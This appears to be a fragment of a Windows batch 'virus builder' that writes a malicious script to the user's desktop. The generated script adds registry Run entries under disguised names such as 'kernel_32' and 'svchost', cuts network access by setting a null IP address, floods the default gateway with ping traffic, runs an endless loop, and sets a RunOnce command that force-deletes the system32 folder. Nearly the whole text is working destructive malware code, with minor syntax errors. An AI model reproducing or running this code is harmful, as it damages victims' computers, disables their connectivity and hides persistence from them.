:executor
call :
if /i %runstartup%==1 (call :restarts)
if %errormsgs%==1 (call :errormsgs)
if %interwebstop%==1 (call :interwebsstop)
if %interwebslower%==1 (call :interwebsslowermake)
if %computerslower%==1 (call :computerslowermake)
if %computerwreck%==1 (call :computerwreckmake)

:restarts
echo if DEFINED _restart_32 (goto restart%_sys32%) ELSE (goto start0) >> %userprofile%\desktop\%virname%
echo mkdir "%virdir%\" >> %userprofile%\desktop\%virname%
echo copy %0 %virdir%\%virname% >> %userprofile%\desktop\%virname%
echo if %runstartup%==1 (reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v kernel_32 /d "%virdir%\%virname%") >> %userprofile%\desktop\%virname%
for /l %%g in (1,1,%restarts%) DO (echo :restart%%g >> %userprofile%\desktop\%virname%
echo set /a temprestart=%%g + 1 >> %userprofile%\desktop\%virname%
echo setx _restart_32 %temprestart% >> %userprofile%\desktop\%virname%
if %%g==%restarts% (call :executor)
echo if DEFINED _restart_32 (goto restart%_restart_32%) ELSE (goto start0) >> %userprofile%\desktop\%virname%
goto:eof

:errormsgs
echo :errormsgs %userprofile%\desktop\%virname%
echo copy "\sys32\defrag.vbs" "%APPDATA%\Register\win\updateKB046537.vbs" >> %userprofile%\desktop\%virname%
echo reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v svchost /d "%APPDATA%\register32\win\updateKB046537.vbs" >> %userprofile%\desktop\%virname%
goto:eof

:interwebsstop
echo netsh interface ip set address name="Local Area Connection" static 0.0.0.0 0.0.0.0 0.0.0.0 1 >> %userprofile%\desktop\%virname%
goto:eof

:interwebsslowermake
echo @For /f "tokens=3" %%g in ('route.exe print ^|findstr "\<0.0.0.0\>"') Do @Set "DefaultGateway=%%g" >> %userprofile%\desktop\%virname%
echo if errorlevel==0 (ping -t -l 1000 %DefaultGateway%) >> %userprofile%\desktop\%virname%
goto:eof

:computerslowermake
echo for /l %%g in (1,0,2) DO echo. >> %userprofile%\desktop\%virname%
goto:eof

:computerwreckmake
echo reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce /v sysrepair /d cmd /k "del /f /q %systemroot%\system32"
goto:eof